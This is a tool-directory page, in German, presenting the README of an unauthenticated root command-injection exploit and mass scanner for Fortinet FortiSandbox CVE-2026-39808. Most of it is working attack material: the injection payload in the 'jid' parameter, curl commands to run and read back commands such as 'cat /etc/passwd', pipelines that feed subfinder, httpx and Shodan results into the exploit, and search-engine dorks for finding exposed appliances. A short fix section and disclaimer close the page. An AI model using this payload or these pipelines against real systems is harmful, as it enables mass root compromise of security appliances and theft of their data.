Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Nicht authentifizierter RCE-Scanner für FortiSandbox CVE-2026-39808 mit Canary-basierter Verifizierung, Befehlsausführung und Pipeline-Integration für Massen-Scans. | Kitploit
Tools/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Nicht authentifizierter RCE-Scanner für FortiSandbox CVE-2026-39808 mit Canary-basierter Verifizierung, Befehlsausführung und Pipeline-Integration für Massen-Scans.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
268vor 4 MonatenVon Kitploit geprüft
Teilen

FortiSandbox RCE-Scanner — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Nicht authentifizierte OS-Befehlsinjektion als root in Fortinet FortiSandbox

Schwachstelle • Installation • Verwendung • Funktionsweise • Pipeline • Shodan-Dorks • Haftungsausschluss


Schwachstelle

CVE-2026-39808 ist eine kritische, nicht authentifizierte OS-Befehlsinjektions-Schwachstelle in Fortinet FortiSandbox. Der API-Endpunkt /fortisandbox/job-detail/tracer-behavior bereinigt den Parameter jid nicht ausreichend, sodass ein Angreifer beliebige OS-Befehle injizieren kann, die als root ausgeführt werden — ohne jegliche Authentifizierung.

Grundursache

Der Parameter jid im tracer-behavior-Endpunkt wird ohne Bereinigung direkt an einen Systembefehl übergeben. Mithilfe von Pipe-Zeichen (|) kann ein Angreifer aus dem vorgesehenen Befehlskontext ausbrechen und beliebige Befehle ausführen:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

Die Ausgabe wird in /web/ng/out.txt geschrieben, das auf dem Webserver unter /ng/out.txt erreichbar ist — ein praktischer Rücklesemechanismus für blinde Befehlsinjektion.


Installation

Keine Abhängigkeiten. Nur Python-3.7+-Standardbibliothek.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Verwendung

Grundscan

root@kitploit:~
# Prüfen, ob ein Ziel verwundbar ist (verwendet Canary-basierte Erkennung)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Befehl ausführen

root@kitploit:~
# Einen bestimmten Befehl auf dem Ziel ausführen
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Nur verifizieren (keine Befehlsausführung)

root@kitploit:~
# Nur prüfen, ob verwundbar, --cmd nicht ausführen
python3 fortisandbox_rce.py -u https://target.com --verify-only

Mit Burp-Proxy

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

JSON-Bericht

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Pipeline-Modus (Massen-Scan)

root@kitploit:~
# Aus einer URL-Liste
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → Scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → Scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Alle Optionen

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           Ziel-URL
  --stdin                 URLs von stdin lesen (Pipeline-Modus)
  --cmd CMD               Auszuführender OS-Befehl (Standard: id)
  --verify-only           Nur Schwachstelle verifizieren, --cmd nicht ausführen
  --proxy PROXY           HTTP-Proxy (z. B. http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP-Timeout in Sekunden (Standard: 15)
  --rate-limit RATE_LIMIT Verzögerung zwischen Zielen in ms (Standard: 0)
  -o, --output FILE       JSON-Berichtsdatei ausgeben
  --no-banner             Banner unterdrücken

Funktionsweise

Der Scanner verwendet einen 5-stufigen Verifizierungsprozess mit strenger Vermeidung von Fehlalarmen:

root@kitploit:~
Schritt 1  →  FortiSandbox erkennen (Titel/Header-Fingerprint)
Schritt 2  →  Prüfen, ob der verwundbare Endpunkt existiert
Schritt 3  →  Eindeutige Canary-Zeichenkette per Befehlsinjektion injizieren
Schritt 4  →  /ng/out.txt lesen und Canary verifizieren (strikte Klartext-Validierung)
Schritt 5  →  Benutzerbefehl ausführen + Bereinigung

Vermeidung von Fehlalarmen

Der Scanner implementiert mehrere Validierungsebenen, um Fehlalarme zu eliminieren:

  • HTML-Erkennung — Wenn die Ausgabe-URL eine HTML-Seite zurückgibt (Angular-SPA-Catch-all), wird sie als Fehlalarm markiert
  • Content-Type-Validierung — Die Befehlsausgabe darf nicht text/html sein
  • Canary-Isolation — Die Canary muss in sauberem Klartext erscheinen, nicht in HTML-Tags eingebettet
  • id-Ausgabe-Regex — Strikte uid=\d+(\w+)-Mustererkennung mit Größenprüfung (<1000 Bytes)
  • Basis-URL-Normalisierung — Entfernt automatisch das /ng-Suffix, um Doppelpfad-Probleme zu vermeiden

Beispielausgabe

Verwundbares Ziel

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Endpoint status: 200 | Content-Type: text/html
  ▸ Injecting canary: mitsec_a8k3m2x1
  ▸ Reading output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Output file cleaned up

Nicht verwundbar

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint returned 404 — not vulnerable or patched

Fehlalarm behandelt

root@kitploit:~
  ▸ Reading output: https://target.com/ng/out.txt
  ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
  ▸ Content-Type: text/html
  ▸ This is a false positive — /ng/out.txt serves the SPA index.html
  ▸ Target does not appear vulnerable

JSON-Berichtsformat

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Pipeline-Integration

Der Scanner gibt verwundbare URLs auf stdout aus (alle anderen Ausgaben gehen an stderr), wodurch er vollständig pipeline-kompatibel ist:

root@kitploit:~
# Verwundbare Ziele finden und speichern
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Mit nuclei für weitere Tests verketten
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Stiller Massen-Scan mit Ratenbegrenzung
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Shodan-Dorks

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google-Dork:

root@kitploit:~
intitle:"FortiSandbox - Please login"

Manuelle Verifizierung

Wenn Sie die Verifizierung manuell mit curl bevorzugen:

root@kitploit:~
# Schritt 1: Befehl injizieren
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Schritt 2: Ausgabe lesen
curl -s -k "https://TARGET/ng/out.txt"
# Erwartet: uid=0(root) gid=0(root) groups=0(root)

Behebung

  • Upgrade von FortiSandbox auf Version 4.4.9 oder höher
  • Falls ein sofortiges Patchen nicht möglich ist:
    • Netzwerkzugriff auf die FortiSandbox-Verwaltungsoberfläche einschränken
    • Firewall-Regeln verwenden, um externen Zugriff auf /fortisandbox/job-detail/-Endpunkte zu blockieren
    • Protokolle auf verdächtige jid-Parameterwerte mit Pipe-Zeichen überwachen

Zeitplan

DatumEreignis
November 2025Schwachstelle entdeckt
April 2026CVE-2026-39808 veröffentlicht
April 2026In FortiSandbox 4.4.9 behoben

Referenzen

  • Fortinet PSIRT Advisory — FG-IR-25-325
  • CVE-2026-39808 — NVD

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie stets eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie testen. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.


Autor

mitsec — @ynsmroztas

  • Portfolio: ynsmroztas.github.io
  • 100+ Hall of Fame | 2.430+ offengelegte Schwachstellen | 1.100+ kritische Befunde

Wenn Ihnen dieses Tool geholfen hat, geben Sie ihm gerne einen ⭐

Tool herunterladen
DetailWert
CVE-IDCVE-2026-39808
CVSS-Score9.8 (Kritisch)
AngriffsvektorNetzwerk
AuthentifizierungKeine
BerechtigungenRoot
Betroffene VersionenFortiSandbox < 4.4.9
Behoben in4.4.9 und höher
AdvisoryFG-IR-25-325